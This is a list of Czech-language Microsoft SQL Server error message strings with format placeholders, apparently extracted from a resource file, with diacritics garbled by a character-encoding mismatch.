�PY�stup k souboru %1!s! se nezdaYil. K souborom lze z�skat pY�stup pouze pomoc� sd�len�ch slo~ek.

�Transakce pro pY�kaz INSERT EXEC byla vr�cena zpt. Operace INSERT EXEC bude ukon
ena.

�Byl proveden pokus o vytvoYen� z�znamu s pevnou d�lkou %1!s!. Maxim�ln� povolen� pevn� d�lka je %2!s!.

�PYi kompilaci dotazu doalo k pYete
en� z�sobn�ku na serveru. Zjednoduate dotaz.

�PYi z�pisu kontroln�ho trasov�n� doalo k chyb. Prob�h� vyp�n�n� syst�mu SQL Server. Zkontrolujte a opravte chyby, jako je nedostatek m�sta na disku, a pot� syst�m SQL Server restartujte. Pokud pot�~e potrvaj�, zaka~te auditov�n�   spusete server na pY�kazov�m Y�dku s pYep�na
em -f a pou~ijte proceduru SP_CONFIGURE.

lSoubor %1!s! nen� rozpoznateln� trasovac� soubor.

�Byla zjiatna chyba nebo neo
ek�van� konec trasovac�ho souboru %1!s!.

`Popisova
 pYedan� funkci %1!s! je neplatn�.

�Aktiva
n� ud�losti INSTEAD OF nepodporuj� pY�mou rekurzi. Spuatn� aktiva
n� ud�losti se nezdaYilo.

dHodnota zadan� pro atribut %1!s! je neplatn�.

pNeplatn� regul�rn� v�raz %1!s! bl�zko posunu %2!s!.

|Vyhodnocen� regul�rn�ho v�razu je pY�lia slo~it�: %1!s!.

xPY�kaz %1!s! nelze pou~�t uvnitY u~ivatelsk� transakce.

Aktiva
n� ud�lost LOGON vr�tila objekt tY�dy resultset. ZmHte aktiva
n� ud�lost LOGON, aby objekty tY�dy resultset nevracela.

Nelze vytvoYit Y�dek, kter� m� zhuatn� data velikosti %1!s!, co~ je v�ce ne~ maxim�ln� povolen� velikost zhuatn�ch dat %2!s!.

�Hodnota zadan� pro 
asov� limit nen� platn�. asov� limit mus� b�t platn� cel� 
�slo v rozmez� 0 a~ 2147483647.

pPY�kaz INSERT EXEC nen� pro dotazy WAITFOR povolen.

tDotaz WAITFOR nelze spustit s �rovn� izolace sn�mku.

�Posun je vta� ne~ d�lka sloupce, kter� m� b�t z�pisem aktualizov�n.

dPosun nebo d�lka z�pisu m� z�pornou hodnotu.

pPY�kaz SELECT INTO nen� pro dotazy WAITFOR povolen.

�PYi naplHov�n� datab�ze prostYedko nen� povolena zmna kontextu datab�ze.

�PYipraven� popisova
 pY�kazu %1!s! nen� v tomto kontextu platn�. OvYte, zda aktu�ln� datab�ze, v�choz� sch�ma u~ivatele a hodnoty mo~nost� pY�kazu SET ANSI_NULLS a QUOTED_IDENTIFIER nebyly od chv�le pY�pravy popisova
e zmnny.

|Poskytnut� token zpo~dn�ho na
ten� typu CLR je neplatn�.

�V�ce �kolo v relaci pou~�v� najednou stejn� tokeny zpo~dn�ho na
ten� typu CLR.

�Tento pY�kaz se pokusil z�skat pY�stup k datom, ale pY�stup k tmto datom je omezen sestaven�m.

xVzd�len� vol�n� procedury bylo pYeruaeno bez proveden�.

�%1!s!: Form�ln� parametr %2!s! byl definov�n jako OUTPUT, ale skute
n� parametr nebyl deklarov�n jako OUTPUT.

|Nelze naj�t objekt %1!s! ID %2!s! v datab�zi s ID %3!s!.

�PY�kaz BULK INSERT s dala� zb�vaj�c� sadou v�sledko dotazu by ml b�t spuatn s hodnotou ON pro mo~nost XACT_ABORT.

�Relace je ve stavu ukon
en�, nelze pokra
ovat v prov�dn�.

�Doalo k chyb�m protokolu UDP (User Datagram Protocol), syst�m ukon
uje pY�stup k vnitYn�m datom procesu.

�PYi prov�dn� pY�kazo CREATE DB 
i ALTER DB doalo k chyb. Dala� informace naleznete u pYedchoz� chyby.

�%1!s!: D�lka v�sledku pYekra
uje limit d�lky (2 GB) c�le rozs�hl�ho typu.

�Nelze pokra
ovat ve skenov�n� s mo~nost� NOLOCK z dovodu pYesunu dat.

Polo~ku tabulky nebo indexu s ID odd�lu %1!s! v datab�zi %2!s! nelze naj�t. K t�to chyb mo~e doj�t, pokud ulo~en� procedura odkazuje na vyYazenou tabulku nebo doalo k poakozen� metadat. Ulo~enou proceduru vyYate a znovu vytvoYte nebo spusete pY�kaz DBCC CHECKDB.

@Polo~ku tabulky nebo indexu s ID objektu %1!s! (ID odd�lu %2!s!) v datab�zi %3!s! nelze naj�t. K t�to chyb mo~e doj�t, pokud ulo~en� procedura odkazuje na vyYazenou tabulku nebo doalo k poakozen� metadat. Ulo~enou proceduru vyYate a znovu vytvoYte nebo spusete pY�kaz DBCC CHECKDB.

Pokud o na
ten� logick� str�nky %1!s! v datab�zi %2!s! se nezdaYil. Str�nka n�le~� aloka
n� jednotce %3!s!, ne jednotce %4!s!.

 Metadata jsou nekonzistentn�. ID skupiny souboro %1!s! zadan� pro tabulku %2!s! neexistuje. Spusete pY�kaz DBCC CHECKDB nebo CHECKCATALOG.

|Pro ID odd�lu %1!s! v datab�zi %2!s! nebyla nalezena ~�dn� polo~ka katalogu. Metadata jsou nekonzistentn�. Spuatn�m pY�kazu DBCC CHECKDB zkontrolujte, zda nedoalo k poakozen� metadat.

�PYi probuzen� pomoc� pY�kazu RowsetBulk nen� struktura B-stromu pr�zdn�.

�Hodnota hlavi
ky ze str�nky je neplatn�. Spuatn�m pY�kazu DBCC CHECKDB zkontrolujte, zda nedoalo k poakozen� dat.

X�dek nelze vlo~it ani aktualizovat, proto~e celkov� velikost sloupce promnn�ch v
etn re~ie pYekra
uje limit o %1!s! bajto.

�Polo~ku sady Y�dko pracovn� tabulky s ID odd�lu %1!s! v datab�zi %2!s! nelze naj�t.

pZ�lo~ku nelze nal�zt, proto~e byla data pYesunuta.

�ID datab�ze %1!s!, n�zev %2!s! nelze naj�t. Datab�ze je pravdpodobn offline. Po
kejte nkolik minut a opakujte akci.

�Popisova
 pro ID objektu %1!s! v ID datab�ze %2!s! nebyl pYi pokusu o pYelo~en� zatY�dn� nalezen v zatYiovac� tabulce. Polo~ka chyb� v pracovn� tabulce. Spusete dotaz znovu. Pokud je vyu~it kurzor, ukon
ete jej a znovu spusete.

pKe skupin souboro %1!s! nejsou pYiYazeny ~�dn� soubory. Skupinu souboro nelze naplnit tabulkami, indexy 
i sloupci typu text, ntext a image, nen�-li pYid�n alespoH jeden soubor.

�UvnitY distribuovan� transakce nelze pou~�t pY�kaz SAVE TRANSACTION.

�Pokud neexistuj� ~�dn� aktivn� transakce, nejde zadat pY�kaz SAVE TRANSACTION.

�Z�mek READPAST je mo~n� zadat pouze na �rovn�ch izolace READ COMMITTED nebo REPEATABLE READ.

�Pomocn� parametr 
lenitosti %1!s! nelze pro tabulku %2!s! pou~�t, proto~e z�mek pYi zadan� 
lenitosti byl potla
en.

Index %1!s! pro tabulku %2!s! (RowsetId %3!s!) se nach�z� ve skupin souboro (%4!s!), kter� je jen pro 
ten� a nelze ji zmnit.

�Nelze zak�zat podporu polo~ky %1!s! v datab�zi %2!s! z dovodu: %3!s!.

�Nelze povolit podporu polo~ky %1!s! v datab�zi %2!s! z dovodu: %3!s!.

Nelze povolit podporu polo~ky %1!s! v datab�zi %2!s!, proto~e je povolena podpora polo~ky %3!s! a ob se vz�jemn vylu
uj�.

Maxim�ln� syst�mem generovan� jedine
n� hodnota pro duplicitn� skupinu byla pro index s ID odd�lu %1!s! pYekro
ena. Pot�~e je pravdpodobn mo~n� vyYeait vyYazen�m a optovn�m vytvoYen�m indexu. Pokud postup pot�~e nevyYea�, pou~ijte jin� kl�
 pro clustering.

XIndex %1!s! pro tabulku %2!s! (RowsetId %3!s!) se nach�z� ve skupin souboro (%4!s!), ke kter� nelze z�skat pY�stup, proto~e je offline, je obnovov�na nebo nefunk
n�.

tObjekt Y�dku je nekonzistentn�. Spusete dotaz znovu.

Data rozs�hl�ho objektu (LOB) pro tabulku %1!s! se nach�zej� ve skupin souboro (%2!s!), kter� je offline a nelze k n� z�skat pY�stup.

Data rozs�hl�ho objektu (LOB) pro tabulku %1!s! se nach�zej� ve skupin souboro (%2!s!), kter� je jen pro 
ten� a nelze ji zmnit.

�Jeden z odd�lo indexu %1!s! pro tabulku %2!s! (ID odd�lu %3!s!) se nach�z� ve skupin souboro (%4!s!), ke kter� nelze z�skat pY�stup, proto~e je offline, je obnovov�na nebo nefunk
n�. To mo~e omezit v�sledky vyhled�v�n� dotazu.

�Pokus o nastaven� hodnoty NULL u sloupce, kter� nelze nastavit na hodnotu NULL.

PDoalo k vnitYn� chyb. Vyrovn�vac� pame poskytnut� hodnot sloupce pro 
ten� je pY�lia mal�. Spuatn�m pY�kazu DBCC CHECKDB zkontrolujte, zda nedoalo k poakozen�.

tPYi pokusu o pYevod mezi des�tkov�mi form�ty s promnnou d�lkou a pevnou d�lkou doalo k vnitYn� chyb. Spuatn�m pY�kazu DBCC CHECKDB zkontrolujte, zda nedoalo k poakozen� datab�ze.

XPYi pokusu o pYevod mezi komprimovan�m a nekomprimovan�m form�tem �lo~iat doalo k vnitYn� chyb. Spuatn�m pY�kazu DBCC CHECKDB zkontrolujte, zda nedoalo k poakozen�.

�PYi pokusu o na
ten� zptn�ho ukazatele pro pYedan� z�znam haldy doalo k chyb.

�Bylo dosa~eno maxim�ln� �rovn struktury B-stromu pro sadu Y�dko %1!s!. Syst�m SQL Server podporuje pouze 255 �rovn�.

�Sloupce typu nchar a nvarchar, kter� obsahuj� lich� po
et bajto, nelze komprimovat.

�Operace nen� povolena z dovodu aktivn�ho online sestaven� indexu.

Operace nen� povolena z dovodu 
ek�n� na vy
iatn� online sestaven� indexu. Po
kejte na dokon
en� vy
iatn� a spusete operaci znovu.

\Doalo k vnitYn� chyb. K�d chyby: %1!s!.

`Doalo k vnitYn� chyb. Vyrovn�vac� pame poskytnut� pevn� hodnot sloupce pro z�pis je moc velk�. Spuatn�m pY�kazu DBCC CHECKDB zkontrolujte, jestli nedoalo k poakozen�.

�VnitYn� chyba 0x%1!s!. Nejde vytvoYit objekt blob bloku v �lo~iati Azure.

�VnitYn� chyba. Nejde odstranit objekt blob bloku v �lo~iati Azure.

�VnitYn� chyba. Nejde z�skat pY�stup k tabulce zna
ek odstrann�ch polo~ek. V�sledek [%1!s!]

�VnitYn� chyba. Nejde z�skat kontejner �lo~iat objekto blob.

�VnitYn� chyba. Nejde z�skat pY�stup k pY�stupov�mu objektu kontejneru objekto blob.

�Nepovedlo se pYe
�st o
ek�van� data v Azure Block Blob Storage. K�d chyby 0x%1!s!.

�Ve fondu prostYedko %1!s! je nedostatek syst�mov� pamti ke spuatn� tohoto dotazu.

�Byl zjiatn neo
ek�van� stav adresy 0x%1!s! vyrovn�vac� pamti.

�Ve fondu vyrovn�vac� pamti je nedostatek dostupn� pamti.

�Na adrese 0x%1!s! s 
�slem str�nky vyrovn�vac� pamti %2!s! a ID datab�ze %3!s! nelze pYelo~it zatY�dn� vyrovn�vac� pamti s nastaven�m stavem HASHED. Vyrovn�vac� pame nebyla nalezena. %4!s!. Obraete se na technickou podporu.

�Vstupn-v�stupn� operaci pro ~�dost %1!s! nelze spustit. Obraete se na technickou podporu.

Opera
n� syst�m vr�til syst�mu SQL Server chybu %1!s! v probhu operace %2!s! na posunu %3!s! v souboru %4!s!. Podrobnja� informace mo~ete naj�t ve zpr�v�ch protokolu chyb syst�mu SQL Server nebo v protokolu chyb opera
n�ho syst�mu. Jedn� se o z�va~nou syst�movou chybu, kter� ohro~uje integritu datab�ze, a je tYeba ji okam~it opravit. Dokon
ete �plnou kontrolu konzistence datab�zov�ch souboro (DBCC CHECKDB). Tato chyba mo~e b�t zposobena mnoha faktory. Dala� informace najdete na webu Knihy online pro SQL Server.

�Syst�m SQL Server zjistil vstupn-v�stupn� chybu logick� konzistence: %1!s!. K chyb doalo v probhu operace %2!s! na str�nce %3!s! v ID datab�ze %4!s! na posunu %5!s! v souboru %6!s!. Dala� informace nejdete ve zpr�v�ch protokolu chyb syst�mu SQL Server nebo v protokolu chyb opera
n�ho syst�mu. Jedn� se o z�va~nou chybu, kter� ohro~uje integritu datab�ze, a je tYeba ji okam~it opravit. Dokon
ete �plnou kontrolu konzistence datab�zov�ch souboro (DBCC CHECKDB). Tato chyba mo~e b�t zposobena mnoha faktory. Dala� informace najdete na webu Knihy online pro SQL Server.

dID datab�ze %1!s!, str�nka %2!s! je ozna
ena pY�znakem RestorePending, co~ mo~e ukazovat na poakozen� disku. Zotaven� z tohoto stavu mo~ete prov�st pomoc� operace obnoven�.

�Nejde uvolnit uchov�vanou str�nku (datab�ze %1!s!, str�nka %2!s!).

Doalo ke zmn str�nky, kter� mla b�t konstantn� (o
ek�van� kontroln� sou
et: %1!s!, skute
n� kontroln� sou
et: %2!s!, datab�ze %3!s!, soubor %4!s!, str�nka %5!s!). Tento probl�m obvykle znamen� chybu pamti nebo jin�ho hardwaru nebo poakozen� opera
n�ho syst�mu.

XOpera
n� syst�m vr�til syst�mu SQL Server chybu %1!s!. VytvoYen� ud�losti pro %2!s! u odsazen� %3!s! v souboru %4!s! se nezdaYilo. Podrobnja� informace mo~ete naj�t ve zpr�v�ch protokolu chyb syst�mu SQL Server nebo v protokolu chyb opera
n�ho syst�mu. Jedn� se o z�va~nou syst�movou chybu, kter� ohro~uje integritu datab�ze, a je nutn� ji okam~it opravit. Dokon
ete �plnou kontrolu konzistence datab�zov�ch souboro (pY�kaz DBCC CHECKDB). Tato chyba mo~e b�t zposobena mnoha faktory. Dala� podrobnosti naleznete na webu Knihy online pro SQL Server.

�PYi 
ek�n� na z�padku vyrovn�vac� pamti typu %1!s! pro str�nku %2!s!, ID datab�ze %3!s! vyprael 
asov� limit.

�Sch�ma tabulky vytvoYen� pomoc� InternalBaseTable je poakozen�.

�Doalo k intern� chyb. K�d chyby %1!s!. Kontext: %2!s!::%3!s!.

TNeplatn� operace RBPEX. Chyba: %1!s!.

�PYi prov�dn� t�to operace %1!s! mus� b�t povoleno roza�Yen� odoln�ho fondu vyrovn�vac� pamti.

�PYi prov�dn� t�to operace %1!s! mus� b�t zak�z�no roza�Yen� odoln�ho fondu vyrovn�vac� pamti.

�Chcete-li zmnit polo~ku %1!s!, mus� b�t datab�ze ve stavu, kdy lze spustit kontroln� bod.

�Datab�zi %1!s! nelze pYi vyp�n�n� nebo spouatn� serveru automaticky spustit.

`Datab�zi %1!s! nelze v t�to edici syst�mu SQL Server spustit, proto~e obsahuje funkci odd�lo %2!s!. Dlen� na odd�ly podporuje pouze edice Enterprise produktu SQL Server.

�Datab�ze %1!s! obsahuje nekonzistentn� metadata datab�ze 
i souboro.

Datab�zi %1!s! nelze v t�to edici syst�mu SQL Server spustit, proto~e 
�st objektu nebo cel� objekt %2!s! vyu~�v� kompresi dat nebo form�t �lo~iat vardecimal. Komprese dat a form�t �lo~iat vardecimal jsou podporov�ny pouze v edici Enterprise produktu SQL Server.

�Datab�ze %1!s! neexistuje. Zkontrolujte, zda je n�zev zad�n spr�vn.

Upgrade �rovn skriptu pro datab�zi %1!s! se nezdaYil, proto~e v kroku upgradu %2!s! byla zjiatna chyba %3!s!, stav %4!s!, z�va~nost %5!s!. Jedn� se o z�va~nou chybu, kter� mo~e m�t vliv na b~n� operace. Datab�ze bude pYepnuta do re~imu offline. Pokud chyba nastala v probhu upgradu hlavn� datab�ze, nebude mo~n� instanci syst�mu SQL Server spustit. Zkuste vyhledat chyby v pYedchoz�ch polo~k�ch protokolu chyb, prov�st pY�sluan� opravn� akce a restartovat datab�zi, aby mohl b�t postup upgradu skriptu dokon
en.

�ID datab�ze %1!s! nejde naj�t. Datab�ze jeat pravdpodobn nebyla aktivov�na nebo je v pYechodn�m stavu. Dotaz opakujte, a~ bude datab�ze k dispozici. Pokud se domn�v�te, ~e chyba nen� zposobena datab�z� ve stavu pYechodu, a chyba se st�le opakuje, obraete se na sv�ho prim�rn�ho zprostYedkovatele podpory. PYipravte si ke konzultaci protokol chyby syst�mu Microsoft SQL Server a veaker� dala� odpov�daj�c� informace o okolnostech, kter� prov�zej� v�skyt chyby.

Upgrade �rovn skriptu pro datab�zi %1!s! se nezdaYil, proto~e krok upgradu %2!s! byl pYeruaen pYed dokon
en�m. Pokud pYeruaen� nastalo v probhu upgradu hlavn� datab�ze, nebude mo~n� instanci syst�mu SQL Server spustit. Zkuste vyhledat chyby v pYedchoz�ch polo~k�ch protokolu chyb, prov�st pY�sluan� opravn� akce a restartovat datab�zi, aby mohl b�t postup upgradu skriptu dokon
en.

�Aktu�ln� �roveH skriptu pro datab�zi %1!s! nelze z�skat. Pokud k chyb doalo v probhu spouatn� hlavn� datab�ze, nebude mo~n� instanci syst�mu SQL Server spustit. Zkuste vyhledat chyby v pYedchoz�ch polo~k�ch protokolu chyb, prov�st pY�sluan� opravn� akce a restartovat datab�zi, aby mohl b�t upgrade skriptu dokon
en.

�Objekt zabezpe
en� serveru %1!s! nemo~e v aktu�ln�m kontextu zabezpe
en� z�skat pY�stup k datab�zi %2!s!.

tSpuatn� d�vky skriptu upgradu se pro datab�zi %1!s! nezdaYilo z dovodu chyby kompilace. Zkontrolujte pYedchoz� chybov� zpr�vy a zkuste naj�t Y�dek, kter� chybu kompilace zposobil.

4Na
ten� metadat skriptovac�ho stroje ze souboru DLL skriptu %1!s! se nezdaYilo. K�d chyby ohl�aen� opera
n�m syst�mem je %2!s!. Jedn� se o z�va~nou chybu, kter� obvykle znamen� poakozenou nebo nedokon
enou instalaci. Oprava instance syst�mu SQL Server mo~e tuto chybu vyYeait.

��roveH datab�zov�ho skriptu mohou zmnit pouze 
lenov� role sysadmin.

�Zotaven� datab�ze %1!s! dosud nebylo provedeno. Po
kejte a opakujte akci.

�Prob�h� zotaven� datab�ze %1!s!. Po
kejte, a~ bude zotaven� dokon
eno.

�Datab�ze %1!s! je v omezen�m re~imu. PY�stup k n� m� pouze vlastn�k a 
lenov� rol� dbcreator nebo sysadmin.

�Datab�ze %1!s! ji~ je otevYen� a mo~e m�t sou
asn pouze jednoho u~ivatele.

�Maxim�ln� po
et datab�z� pou~it�ch pro ka~d� dotaz byl pYekro
en. Maxim�ln� povolen� po
et je %1!s!.

$Datab�zi %1!s! nelze otevY�t. Operace obnoven� ji ozna
ila pY�znakem SUSPECT. Dala� informace naleznete v protokolu chyb syst�mu SQL Server.

�Datab�zi %1!s! nelze otevY�t. Pr�v prob�h� proces obnoven�.

Datab�ze bhem upgradu vyvolala v�jimku %1!s!, z�va~nost %2!s!, stav %3!s!, adresa %4!s!. PY�
inu mo~ete ur
it pomoc� 
�sla v�jimky.

�Datab�zi, kter� aktu�ln nen� otevYen�, nelze zavY�t. Aplikaci je tYeba znovu pYipojit a opakovat akci. Pokud tato akce pot�~e nevyYea�, obraete se na sv�ho prim�rn�ho zprostYedkovatele technick� podpory.

�Pokus o odkaz na jednotku obnoven� %1!s! v datab�zi %2!s!, kter� neexistuje. Obraete se na technickou podporu.

�Doalo k�pokusu o odk�z�n� na neexistuj�c� fragment datab�ze %1!s! v�datab�zi %2!s!. Obraete se na technickou podporu.

pSyst�m SQL Server nemo~e na
�st datab�zi %1!s!, proto~e je povoleno sledov�n� zmn. Aktu�ln nainstalovan� edice syst�mu SQL Server sledov�n� zmn nepodporuje. Bu pomoc� podporovan� edice syst�mu SQL Server zaka~te sledov�n� zmn, nebo upgradujte instanci syst�mu na edici, kter� sledov�n� zmn podporuje.

�Datab�zi %1!s! nelze spustit, proto~e nkter� z jej�ch funkc� nen� v aktu�ln� edici syst�mu SQL Server dostupn�.

�Syst�m SQL Server nemo~e na
�st datab�zi %1!s!, proto~e je povolena funkce Change Data Capture. Aktu�ln nainstalovan� edice syst�mu SQL Server funkci Change Data Capture nepodporuje. Bu obnovte datab�zi bez mo~nosti KEEP_CDC, nebo upgradujte instanci syst�mu na edici, kter� funkci Change Data Capture podporuje.

��roveH skriptu pro polo~ku %1!s! v datab�zi %2!s! nelze downgradovat z �rovn %3!s! na �roveH %4!s!, kterou podporuje tento server. To obvykle znamen�, ~e byla pYipojena budouc� datab�ze a zposob downgradu nen� aktu�ln� instalac� podporov�n. Nainstalujte novja� verzi syst�mu SQL Server a zkuste datab�zi otevY�t znovu.

 Verze c�lov� datab�ze %1!s! nen� podporov�na aktu�ln� verz� k�du %2!s!.   ZmHte c�lovou verzi na podporovanou �roveH a restartujte server.

�Datab�zi %1!s! nejde spustit, proto~e se j� nepovedlo inicializovat trval� �lo~iat verz� z dovodu chyby %2!s!. Pod�vejte se na pYedchoz� chyby v protokol chyb a na z�klad toho zjistte pY�
inu a opravte s t�m spojen� probl�my.

�Datab�zi %1!s! nelze otevY�t, proto~e nen� spuatna. Opakujte akci po spuatn� datab�ze.

lDatab�zi %1!s! nelze otevY�t, proto~e je offline.

�Datab�zi %1!s! nelze otevY�t, proto~e jej� verze (%2!s!) je novja� ne~ aktu�ln� verze serveru (%3!s!).

lDatab�zi %1!s! nelze otevY�t z dovodu nepY�stupn�ch souboro nebo nedostate
n�ho mno~stv� pamti 
i m�sta na disku. Dala� informace naleznete v protokolu chyb syst�mu SQL Server.

�Datab�zi %1!s! verze %2!s! nelze otevY�t. Aktualizujte datab�zi na nejnovja� verzi.

�PYi zav�r�n� datab�ze %1!s! doalo k chyb. Zkontrolujte dala� pYedchoz� chyby a opakujte operaci.

(Datab�zi %1!s! nelze otevY�t, proto~e jej� verze je %2!s!. Tento server podporuje pouze verzi %3!s! a stara�. Zposob downgradu nen� podporov�n.

�Datab�ze tempdb byla pYesko
ena. Dotaz, kter� po~aduje datab�zi tempdb, nelze spustit.

�Datab�zi %1!s! nelze upgradovat, proto~e tato verze syst�mu SQL Server nepodporuje jej� nevydanou verzi (%2!s!). Datab�zi, kter� je nekompatibiln� s touto verz� souboru sqlservr.exe, nelze otevY�t. Datab�zi je tYeba vytvoYit znovu.

�Datab�ze %1!s! je v pYechodn�m stavu. Opakujte pY�kaz pozdji.

�Datab�zi %1!s! nelze otevY�t. Funguje jako zrcadlov� datab�ze.

�Zrcadlen� datab�ze je pro datab�zi %1!s! povoleno, datab�zi ale chyb� kvorum: Datab�zi nelze otevY�t. Jsou-li nakonfigurov�na pYipojen� partnera a monitorovac�ho serveru, zkontrolujte je.

Zrcadlen� datab�ze je pro datab�zi %1!s! povoleno, ale jeat nebyla synchronizov�na s partnerem. Opakujte operaci pozdji.

Zrcadlen� datab�ze je pro datab�zi %1!s! povoleno nebo se datab�ze pYipojila ke skupin dostupnosti. N�zev t�to datab�ze nelze zmnit.

Verze datab�ze zdrojo je %1!s! a tento server podporuje verzi %2!s!. Obnovte spr�vnou verzi nebo pYeinstalujte syst�m SQL Server.

xBhem prov�dn� procedury nelze datab�zi %1!s! pou~�t.

�C�lov� datab�ze %1!s! se �
astn� skupiny dostupnosti a nen� aktu�ln pY�stupn� pro dotazy. Bu je pozastaven pYesun dat, nebo nen� u repliky dostupnosti povolen pY�stup jen pro 
ten�. Chcete-li povolit pY�stup jen pro 
ten� k t�to a dala�m datab�z�m ve skupin dostupnosti, povolte pY�stup jen pro 
ten� k jedn� 
i v�ce sekund�rn�m replik�m dostupnosti ve skupin. Dala� informace naleznete v t�matu pY�kazu ALTER AVAILABILITY GROUP na webu Knihy online pro SQL Server.

�C�lov� datab�ze (%1!s!) je ve skupin dostupnosti. Pokud je z�mr aplikace nastaven jen na 
ten�, lze se k datab�zi pYipojit. Dala� informace o z�mru aplikace naleznete na webu Knihy online pro SQL Server.

lC�lov� datab�ze (%1!s!) je ve skupin dostupnosti a aktu�ln neumo~Huje pYipojen� jen pro 
ten�. Dala� informace o z�mru aplikace naleznete na webu Knihy online pro SQL Server.

�SQL Server nemo~e na
�st datab�zi %1!s!, proto~e obsahuje index columnstore. Aktu�ln nainstalovan� edice syst�mu SQL Server nepodporuje indexy columnstore. Bu v datab�zi zaka~te index columnstore pomoc� podporovan� edice syst�mu SQL Server, nebo upgradujte instanci syst�mu SQL Server na verzi, kter� index columnstore podporuje.

�Nelze pYistoupit k datab�zi %1!s!, proto~e pro ~�dnou online sekund�rn� repliku nen� povolen pY�stup jen pro 
ten�. Zkontrolujte konfiguraci skupiny dostupnosti a zjistte, zda je alespoH u jedn� sekund�rn� repliky nakonfigurov�n pY�stup jen pro 
ten�. Vy
kejte, a~ bude takto povolen� replika uvedena do re~imu online, a zopakujte operaci jen pro 
ten�.

Nelze z�skat pY�stup k datab�zi dostupnosti %1!s!, proto~e se replika datab�ze nenach�z� v roli PRIMARY ani SECONDARY. PYipojen� k datab�zi dostupnosti je povoleno, jen kdy~ se replika datab�ze nach�z� v roli PRIMARY nebo SECONDARY. Opakujte operaci pozdji.

8Soubor sqlscriptdowngrade.dll ze slo~ky Binn se nepodaYilo zkop�rovat do slo~ky Binn\Cache. Rozhran� API funkce VerInstallFile vr�tilo k�d chyby %1!s!.

�PYi aktualizaci syst�mov�ch objekto v datab�zi %1!s! doalo k vlo~en� duplicitn�ho kl�
e.

�Nelze z�skat pY�stup k datab�zi %1!s!, proto~e j� chyb� kvorum uzlo pro vysokou dostupnost. Opakujte operaci pozdji.

,Hostitelskou datab�zi s ID %1!s! se nepodaYilo pYev�st do re~imu offline, kdy~ byla minim�ln jedna jej� datab�ze odd�lo ozna
ena jako podezYel�.

 Hostitelsk� datab�ze s ID %1!s! je pYev�dna do re~imu offline, proto~e byla minim�ln jedna jej� datab�ze odd�lo ozna
ena jako podezYel�.

$Hostitelskou datab�zi %1!s! se nepodaYilo pYev�st do re~imu offline, kdy~ byla minim�ln jedna jej� datab�ze odd�lo ozna
ena jako podezYel�.

tNepovedlo se z�skat sd�len� z�mek pro datab�zi %1!s!.

|Nepovedlo se z�skat z�mek aktualizace pro datab�zi %1!s!.

�X�dek %1!s!: Zadan� specifikace d�lky nebo pYesnosti %2!s! je neplatn�.

hX�dek %1!s!: Zadan� mY�tko %2!s! je neplatn�.

�X�dek %1!s!: Klauzule %2!s! je povolena pouze pro pY�kaz %3!s!.

�Neplatn� pYedpona sloupce: %1!s!. Nebyl zad�n n�zev tabulky.

�X�dek %1!s!: �slo procedury (%2!s!) je neplatn�. �slo mus� b�t v rozmez� 1 a~ 32767.

hPY�kaz CREATE TRIGGER neobsahuje ~�dn� pY�kazy.

�Promnn� %1!s! s hodnotou %2!s! je mimo rozsah numerick� reprezentace (maxim�ln� pYesnost je 38).

�Polo~ka pY�kazu SELECT ur
en� 
�slem %1!s! pY�kazu ORDER BY obsahuje promnnou pro tu 
�st v�razu, kter� ur
uje pozici sloupce. Promnn� jsou povoleny pouze pYi Yazen� pomoc� v�razu odkazuj�c�ho na n�zev sloupce.

tKl�
ov� slovo DEFAULT nen� pro pY�kazy DBCC povoleno.

HX�dic� znak %1!s! je neplatn�.

|Korela
n� n�zev %1!s! je v klauzuli FROM zad�n v�cekr�t.

�Korela
n� n�zev %1!s! m� stejn� vystaven� n�zev jako tabulka %2!s!.

�Objekty v klauzuli FROM %1!s! a %2!s! maj� stejn� vystaven� n�zvy. Rozliate je pomoc� korela
n�ch n�zvo.

pKlauzule TOP nebo FETCH obsahuje neplatnou hodnotu.

LV klauzuli ON se mo~e agregace nach�zet pouze tehdy, pokud je v poddotazu obsa~en�m v klauzuli HAVING nebo v seznamu SELECT a agregovan� sloupec je vnja� odkaz.

�V dotazu obsahuj�c�m spojen� tabulky nelze zadat oper�tory vnja�ho spojen�.

pPomocn� parametr %1!s! nelze zadat v�ce ne~ jednou.

�Nespr�vn� syntaxe pobl�~ textu %1!s!. Pokud se m� jednat o 
�st pomocn�ho parametru tabulky, je nyn� po~adov�no kl�
ov� slovo WITH a z�vorky. Spr�vnou syntaxi najdete na webu Knihy online pro SQL Server.

�V pY�kazu GRANT 
i REVOKE byl za n�zvem objektu zad�n neplatn� seznam sloupco.

�Pro opr�vnn� na �rovni entit nelze zadat seznamy subentit (jako jsou sloupce nebo v�razy zabezpe
en�).

pZadan� parametr %1!s! je pro funkci %2!s! neplatn�.

�Pomoc� pY�kazu GOTO nelze pYej�t do oboru pY�kazo TRY nebo CATCH.

�Konstrukce CUBE, ROLLUP a GROUPING SETS nejsou povoleny v klauzuli GROUP BY ALL.

�Pro poddotazy a odvozen� tabulky je proch�zec� re~im neplatn�.

�Na tomto m�st jsou povoleny pouze konstanty. asov� liter�l nen� povolen, proto~e odkazuje na aktu�ln� datum.

lProcentu�ln� hodnoty mus� b�t v rozmez� 0 a~ 100.

�PYedponu sloupce %1!s! nelze pou~�t. Tato polo~ka se mus� shodovat s objektem v klauzuli UPDATE %2!s!.

pNejsou-li zad�ny klauzule TOP, OFFSET nebo FOR XML, je klauzule ORDER BY neplatn� ve zobrazen�ch, vlo~en�ch funkc�ch, odvozen�ch tabulk�ch, poddotazech a b~n�ch v�razech tabulek.

�Chyba syntaxe: Deklarace aktiva
n� ud�losti obsahuje duplicitn� specifikaci akce %1!s!.

�Nespr�vn� syntaxe pobl�~ textu %1!s!, o
ek�van� syntaxe: %2!s!.

�V tchto pY�kazech CREATE DATABASE nebo ALTER DATABASE je po~adov�na mo~nost souboru %1!s!.

�Mo~nosti CASCADE, WITH GRANT nebo AS nelze zadat s opr�vnn�mi pY�kazu.

N�zev sloupce 
i objektu nebyl nalezen nebo je pr�zdn�. OvYte, zda m� ka~d� sloupec v pY�kazech SELECT INTO n�zev. U ostatn�ch pY�kazo hledejte pr�zdn� n�zvy aliaso. Aliasy definovan� jako "" nebo [] nejsou povoleny. Tyto aliasy zmHte na platn� n�zvy.

\Mo~nost %1!s! je zad�na v�ce ne~ jednou.

`Hodnota %1!s! pou~it� s atributem MAX_OUTSTANDING_IO_PER_VOLUME nen� platn�. Hodnota atributu MAX_OUTSTANDING_IO_PER_VOLUME mus� b�t vta� ne~ 0 a mena� nebo rovna %2!s!.

`Mo~nost %1!s! nen� pro soubor LOG povolena.

�Doalo ke konfliktu zadan�ch pomocn�ch parametro optimalizace %1!s!.

XFunkce %1!s! nen� dosud implementov�na.

